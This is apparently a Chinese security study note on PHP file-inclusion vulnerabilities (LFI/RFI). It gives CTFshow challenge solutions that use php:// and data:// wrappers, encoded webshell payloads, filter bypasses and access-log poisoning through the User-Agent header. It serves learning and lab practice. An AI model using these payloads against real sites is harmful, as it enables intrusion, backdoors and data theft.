banner

PHP应用&文件包含&LFI&RFI&伪协议编码算法&无文件利用&黑白盒

Scroll down

文件包含-原理&分类&利用&修复

原理
程序开发人员通常会把可重复使用的函数写到单个文件中,在使用某些函数时,直接调用此文件,而无须再次编写,这种调用文件的过程一般被称为文件包含,在包含文件的过程中,如果文件能进行控制,则存储文件包含漏洞。

本地包含:Local File Include-LFI
远程包含:Remote File Include-RFI
差异原因:代码过滤和环境配置文件开关决定


白盒审计

  1. 可通过应用功能追踪代码定位审计
  2. 可通过脚本特定函数搜索定位审计
  3. 可通过伪协议玩法绕过相关修复等

PHP:include、require、include_once、require_once等
include在包含的过程中如果出现错误,会抛出一个警告,程序继续正常运行
require函数出现错误的时候,会直接报错并退出程序的执行

Java:java.io.File、java.io.FileReader等

ASP.NET:System.IO.FileStream、System.IO.StreamReader等


黑盒分析

黑盒发现:主要观察参数传递的数据和文件名是否对应

URL中有path、dir、file、pag、page、archive、p、eng、语言文件等相关字眼


本地利用思路

  1. 有文件,配合文件上传恶意代码
  2. 无文件,包含日志
  3. 无文件,包含SESSION
  4. 无文件,支持伪协议利用
    文件包含漏洞+PHP伪协议

文件读取

1
2
3
4
5
6
7
8
# 文件读取绝对路径
URL:?file=file:///d:1.txt


# 文件读取相对路径
URL:?file=php://filter/read=convert.base64-encode/resource=1.txt

URL:?file=php://filter/read=convert.base64-encode/resource=../../../1.txt

文件写入

1
2
3
4
5
6
7
8
9
# 文件写入Base64编码
URL:?file=php://filter/write=convert.base64-encode/resource=phpinfo.php
POST:content=MTlz
文件:file_put_contents($_GET['file'],$_POST['content']);


# 文件写入后门
URL:?file=php://input
POST:<?php fputs(fopen('shell.php','w'),'<?php @eval($_GET[cmd]); ?>'); ?>

代码执行

1
2
3
4
5
6
7
8
9
# 文件执行
URL:?file=php://input
POST:<?php phpinfo();?>


# 文件执行明文和Base64
URL:?file=data://text/plain,<?php phpinfo();?>

URL:?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b

以上伪协议需要查看上面的开关和版本问题


远程利用思路
直接搭建一个可访问的远程URL后门并包含文件即可


黑盒利用-VULWEB-例子

1
2
3
4
5
6
7
8
9
10
# showimage修改为index
http://testphp.vulnweb.com/showimage.php?file=showimage.php&size=160


# index中找到数据库配置
http://testphp.vulnweb.com/showimage.php?file=index.php&size=160


# 拿下数据库
http://testphp.vulnweb.com/showimage.php?file=database_connect.php&size=160

白盒利用-CTFSHOW-伪协议玩法

CTFSHOW

78-php&http协议

解法1:

1
2
# 文件读取直接使用伪协议读取flag.php
URL:http://3ff5a16c-fcac-497b-b07b-5ade6e00d988.challenge.ctf.show/?file=php://filter/read=convert.base64-encode/resource=flag.php

解法2:

1
2
3
4
# 代码执行读取目录下所有文件代,码执行读取目录下flag.php,检查源代码
URL:http://3ff5a16c-fcac-497b-b07b-5ade6e00d988.challenge.ctf.show/?file=php://input
POST:<?php system('ls');?>
POST:<?php system('tac flag.php');?>


79-data&http协议

1
2
# php过滤了,使用data协议,<?php system('tac flag.php');?>转换为base64
URL:http://fc35f089-5c6f-4d42-a37e-d8d57318ce4a.challenge.ctf.show/?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCd0YWMgZmxhZy5waHAnKTs/Pg==


80, 81-日志包含

  1. 利用其他协议,如file,zlib等
  2. 利用日志记录UA特性包含执行
    分析需文件名及带有php关键字放弃
    故利用日志记录UA信息,UA带入代码
    包含:/var/log/nginx/access.log
1
2
3
# 抓包修改UA头为111111<?php system('ls');?>(1111好标记查看)
# 知道fl0g.php再次修改UA头为22222<?php system('tac fl0g.php');?>
URL:http://4050c73b-dbe2-4568-8dc4-ec824ce8c365.challenge.ctf.show/?file=/var/log/nginx/access.log


87-php://filter/write&加密编码

解法1:

1
2
3
4
5
6
7
8
9
10
11
12
13
# 文件写入,被过滤了,需要转换php://filter/write=convert.base64-decode/resource=123.php两次base64编码
URL:http://07390562-bb50-432e-a37b-696dd2b1c89c.challenge.ctf.show/?file=%70%68%70%3A%2F%2F%66%69%6C%74%65%72%2F%77%72%69%74%65%3D%63%6F%6E%76%65%72%74%2E%62%61%73%65%36%34%2D%64%65%63%6F%64%65%2F%72%65%73%6F%75%72%63%65%3D%31%32%33%2E%70%68%70


# 转换完成,再把<?php @eval($_POST[a]);?>也转换为Base64进行POST提交
URL:http://07390562-bb50-432e-a37b-696dd2b1c89c.challenge.ctf.show/?file=%2570%2568%2570%253A%252F%252F%2566%2569%256C%2574%2565%2572%252F%2577%2572%2569%2574%2565%253D%2563%256F%256E%2576%2565%2572%2574%252E%2562%2561%2573%2565%2536%2534%252D%2564%2565%2563%256F%2564%2565%252F%2572%2565%2573%256F%2575%2572%2563%2565%253D%2531%2532%2533%252E%2570%2568%2570
POST:content=aaPD9waHAgQGV2YWwoJF9QT1NUW2FdKTs/Pg==


# 访问URL的123.php进行执行命令,a为后门key,先查看目录,再查看flag
URL:http://07390562-bb50-432e-a37b-696dd2b1c89c.challenge.ctf.show/123.php
POST:a=system('ls');
POST:a=system('cat fl0g.php');

解法2:

1
2
3
4
5
6
7
8
9
10
11
12
13
# 使用凯撒13也可以,思路跟解法1一样,把php://filter/write=string.rot13/resource=2.php进行两次URL编码
URL:http://07390562-bb50-432e-a37b-696dd2b1c89c.challenge.ctf.show/?file=%70%68%70%3A%2F%2F%66%69%6C%74%65%72%2F%77%72%69%74%65%3D%73%74%72%69%6E%67%2E%72%6F%74%31%33%2F%72%65%73%6F%75%72%63%65%3D%32%2E%70%68%70


# 使用凯撒13也可以,思路跟解法1一样,把php://filter/write=string.rot13/resource=2.php进行两次URL编码,POST处content=<?php eval($_POST[1]);?>也需要进行rot13编码
URL:http://07390562-bb50-432e-a37b-696dd2b1c89c.challenge.ctf.show/?file=%2570%2568%2570%253A%252F%252F%2566%2569%256C%2574%2565%2572%252F%2577%2572%2569%2574%2565%253D%2573%2574%2572%2569%256E%2567%252E%2572%256F%2574%2531%2533%252F%2572%2565%2573%256F%2575%2572%2563%2565%253D%2532%252E%2570%2568%2570
POST:content=<?cuc riny($_CBFG[1]);?>


# 访问URL的2.php进行执行命令,a为后门key,先查看目录,再查看flag
URL:http://07390562-bb50-432e-a37b-696dd2b1c89c.challenge.ctf.show/2.php
POST:1=system('ls');
POST:1=system('cat fl0g.php');


88-data&base64协议

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
# 过滤PHP和各种符号,+,=会被过滤掉
<?php system('ls');?>
PD9waHAgc3lzdGVtKCdscycpOz8+


# 不会被过滤
<?php system('tac *.php');echo 123;?>ad
PD9waHAgc3lzdGVtKCd0YWMgKi5waHAnKTtlY2hvIDEyMzs/PmFk

<?php system('tac *.php');echo 1;?>a
PD9waHAgc3lzdGVtKCd0YWMgKi5waHAnKTtlY2hvIDE7Pz5h


# 重点在于需要使用编码写出无符号base64值
URL:http://672cd1c2-8eee-4fb1-a244-369c60881c61.challenge.ctf.show/?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCd0YWMgKi5waHAnKTtlY2hvIDEyMzs/PmFk


117-php://filter/write&新的算法

convert.iconv.:一种过滤器,和使用iconv()函数处理流数据有等同作用

1
2
3
4
5
6
# 运行PHP,转换<?php eval($_POST[a]);?>为iconv格式
<?php
$result = iconv("UCS-2LE","UCS-2BE", '<?php eval($_POST[a]);?>');
echo "经过一次反转:".$result."\n";
echo "经过第二次反转:".iconv("UCS-2LE","UCS-2BE", $result);
?>
1
2
3
4
5
6
7
8
9
#  将<?php eval($_POST[a]);?>转为iconv格式
URL:http://b942c3b7-3b95-4f12-89c3-03d2f865bc1d.challenge.ctf.show/?file=php://filter/write=convert.iconv.UCS-2LE.UCS-2BE/resource=a.php
POST:contents=?<hp pvela$(P_SO[T]a;)>?


# 访问URL的a.php进行执行命令,a为后门key,先查看目录,再查看flag
URL:http://b942c3b7-3b95-4f12-89c3-03d2f865bc1d.challenge.ctf.show/a.php
POST:a=system('ls');
POST:a=system('cat flag.php');
其他文章
请输入关键词进行搜索